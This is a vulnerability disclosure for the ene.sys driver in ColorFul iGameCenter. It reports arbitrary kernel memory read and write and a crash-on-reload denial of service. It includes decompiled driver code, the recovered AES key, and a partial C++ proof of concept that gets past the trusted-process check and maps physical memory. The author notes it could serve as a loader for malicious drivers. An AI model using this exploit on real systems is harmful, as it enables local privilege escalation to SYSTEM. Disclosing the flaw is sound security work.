| Description | 1. VULNERABILITY COMPONENT
Vendor Name: ColorFul (official site: https://www.colorful.cn)
Product Name: iGameCenter (download link: https://www.colorful.cn/home/DownLoadInfo?mid=151&id=53)
Affected Version(s): x.x.x.x
Affected Component/File: ene.sys(SHA256: 175EED7A4C6DE9C3156C7AE16AE85C554959EC350F1C8AAA6DFE8C7E99DE3347)
Affected Routine/Function: sub_140001AF0(IOCTL handler)
2. VULNERABILITY DETAILS
Vulnerability Type: Arbitrary kernel memory read and write
CWE ID: CWE-822, CWE-123, CWE-125, CWE-400
Attack Vector: Local
Required Privileges: User (Low-privileged user/Everyone group)
3. ANALYSIS DETAILS
3.1 Add trusted process in iamge load notify callback
```C++
// sub_140001830
void __fastcall NotifyRoutine(PUNICODE_STRING FullImageName, HANDLE ProcessId, PIMAGE_INFO ImageInfo)
{
if ( (ImageInfo->Properties & 0x100) == 0 )
sub_140001C1C(ProcessId, FullImageName);
}
```
The sub_140001C1C will check if current process load a DLL named "SB_SMBUS_SDK.dll" and then add current process id to trusted process array if it is.
The driver will later check if current process is a "trusted" one in IRP_MJ_CREATE request.
3.2 Device Io Control handler
```c++
__int64 __fastcall sub_140001AF0(__int64 a1, IRP *a2)
{
// ....
if ( CurrentStackLocation->MajorFunction )
{
if ( CurrentStackLocation->MajorFunction == 14 ) // IRP_MJ_DEVICE_CONTROL
{
LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;
switch ( LowPart )
{
case 0x80102040:
v5 = MemoryMapWithCheck(a2, CurrentStackLocation);
break;
case 0x80102044:
v5 = UnmapMemoryWithCheck(a2, CurrentStackLocation);
break;
// ......
}
a2->IoStatus.Status = v5;
}
}
else // IRP_MJ_CREATE
{
v6 = sub_1400017BC(); // Check if current process is trusted by driver
v7 = 0xC0000022;
if ( v6 >= 0 )
v7 = 0;
a2->IoStatus.Status = v7;
}
// .....
}
```
The sub_1400017BC will check if current issuer process is a trusted one, return STATUS_ACCESS_DENIED if not.
MemoryMapWithCheck() and UnmapMemoryWithCheck() will check if the timestamp in the IOCTL request is legeal before doing the actual memory map, see the following explanation.
3.3 Decrypt timestamp and verify
```c++
__int64 __fastcall sub_140001A88(UCHAR *a1)
{
// ....
sub_140001000(a1); // Decrypt here
if ( (__int64)abs64((unsigned int)sub_140001C54() - *(_QWORD *)a1) >= 2 )
return 0xC0000022;
return v1;
}
```
sub_140001A88 is called by both MemoryMapWithCheck() and UnmapMemoryWithCheck() for timestamp validation
This guy will first decrypt the timestamp user passed in and minus it by current system time(converted to seconds since 1970, see sub_140001C54), the final absolute value must be in 2 seconds range.
3.4 Uncontrolled Resource Consumption(CWE-400)
The driver not properly control PsSetLoadImageNotifyRoutine registration context, because of this a user can load it repeatedly to trigger a BSOD, see following code
```c++
// DriverEntry
__int64 __fastcall sub_140001400(PDRIVER_OBJECT DriverObject)
{
// ......
RtlInitUnicodeString(&DeviceName, L"\\Device\\EneTechIo");
v2 = IoCreateDevice(DriverObject, 0, &DeviceName, 0x8010u, 0, 0, &DeviceObject);
if ( v2 >= 0 )
{
// ......
}
qword_140004018 = InitializeData(0x80u);
PsSetLoadImageNotifyRoutine((PLOAD_IMAGE_NOTIFY_ROUTINE)NotifyRoutine); // Deny Of Service
// ....
}
```
PsSetLoadImageNotifyRoutine get executed unconditionally no matter IoCreateDevice succeed or not, if the user load this driver secondly, IoCreateDevice will return an error and
the driver image will get unloaded from memory by system, but the NotifyRoutine pointer always stay in system callback table, it will still be called by System, Bomb...
4. TECHNICAL DESCRIPTION
Option A: Arbitrary Kernel Write (The "Write-What-Where" Flaw)
Description:
An untrusted pointer dereference vulnerability (CWE-822 / CWE-123) exists in the ene.sys kernel-mode driver. The driver exposes a control code (IOCTL 0x80102040) to user-mode applications. When handling this request, the driver's dispatch routine fails to validate a user-supplied physical address passed in the input buffer before mapping it to user mode
A local attacker with low privileges can craft a malicious IOCTL request containing a target kernel-space address and arbitrary data, allowing them to overwrite critical kernel structures (such as page tables or token privileges). This leads to a local privilege escalation (LPE) to NT AUTHORITY\SYSTEM or a system crash (BSOD).
Option B: Arbitrary Kernel Read
Description:
An out-of-bounds read vulnerability (CWE-125) exists in the ene.sys kernel-mode driver. The driver's IOCTL handler (IOCTL 0x80102040) accepts a physical memory address pointer directly from user-space without performing validation
The driver read the physical address specified in user mode and map it into user space. A local, low-privileged attacker can exploit this to leak arbitrary kernel memory, bypassing Kernel Address Space Layout Randomization (KASLR) or extracting sensitive system tokens and credentials.
Option C: Deny Of Service
An Uncontrolled Resource Consumption (CWE-400) exist in the ene.sys kernel-mode driver. The driver call PsSetLoadImageNotifyRoutine unconditionally to register a notification callback pointer, when the user load
the driver repeatedly, will trigger the system crash.
5. PROOF OF CONCEPT (PoC)
Here is a partial exploit demonstration of reading and writing kernel memory(some code has been omitted due to space constraints.)
```c++
typedef struct _MAP_UNMAP_REQUEST
{
SIZE_T Size;
LARGE_INTEGER PhysicalAddress;
ULONG64 ProcessHandle;
ULONG64 VirtualAddress;
ULONG64 ProcessObject;
ULONG64 TimeStamp;
ULONG64 Padding;
}MAP_UNMAP_REQUEST, *PMAP_UNMAP_REQUEST;
constexpr ULONG IOCTL_MAP_MEMORY = 0x80102040ul;
constexpr ULONG IOCTL_UNMAP_MEMORY = 0x80102044ul;
constexpr BYTE byte_140003340[16] = {
// ....
};
// Algorithm recovered from sub_1400010F8
constexpr std::array<BYTE, 16> KeyGenerator()
{
// ....
return std::array<BYTE, 16>{ 0x3e, 0xfd, 0x84, 0x99, 0xa8, 0x83, 0x06, 0x07, 0x18, 0x44, 0x44, 0xbd, 0x83, 0x0d, 0xe1, 0x05 };
}
uint64_t GetSecondsSince1970() {
// ....
}
// Just a helper class for encrypting timestamp used to issue a IOCTL
class EneCipherHelper
{
public:
EneCipherHelper()
{
BCRYPT_ALG_HANDLE hAlg{ nullptr };
auto status = BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!NT_SUCCESS(status))
return;
m_hAlg.reset(hAlg);
status = BCryptSetProperty(m_hAlg.get(), BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_ECB, sizeof(BCRYPT_CHAIN_MODE_ECB), 0);
if (!NT_SUCCESS(status))
return;
}
bool SetKey(const std::array<BYTE, 16>& key)
{
// ....
}
bool EncryptBlock(const UCHAR* PlainText, UCHAR* CipherText)
{
// ....
}
private:
// ....
};
// Bypass IRP_MJ_CREATE validation
LoadLibrary(L"SB_SMBUS_SDK.dll");
EneCipherHelper cipher{};
// Set the encryption key
cipher.SetKey(KeyGenerator());
HANDLE hDevice = CreateFileW(L"\\\\.\\EneTechIo", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
{
printf("[-] Create Device failed, error = %ld\n", GetLastError());
return 1;
}
DWORD bytesReturned;
MAP_UNMAP_REQUEST request{};
request.Size = 1024;
// This is the physical kernel base in your environment
request.PhysicalAddress.QuadPart = 0x30a3000ul;
// Ene.sys requires that the time interval between repeated requests does not exceed 2 seconds
// This may be an anti-debug measure
request.TimeStamp = GetSecondsSince1970();
// Encrypt the timestamp field
cipher.EncryptBlock((PUCHAR)&request.TimeStamp, (PUCHAR)&request.TimeStamp);
// Map physical memory
DeviceIoControl(
hDevice,
IOCTL_MAP_MEMORY,
std::addressof(request),
sizeof(MAP_UNMAP_REQUEST),
std::addressof(request),
sizeof(MAP_UNMAP_REQUEST),
&bytesReturned,
NULL);
// Next, we can do anything with the buffer request->VirtualAddress
```
CRITICAL NOTE:
This exploit is tested on windows 10 build 19045.6466, it can be modified as a loader for any other malicious program(such as an unsigned kernel-mode driver, etc).
Although The driver's signature has been revoked on windows 11 build 26200.8875, but it can still be exploited and used widely on windows 10 systems
6. CREDIT
Discoverer/Researcher: Jacky([email protected]) |
|---|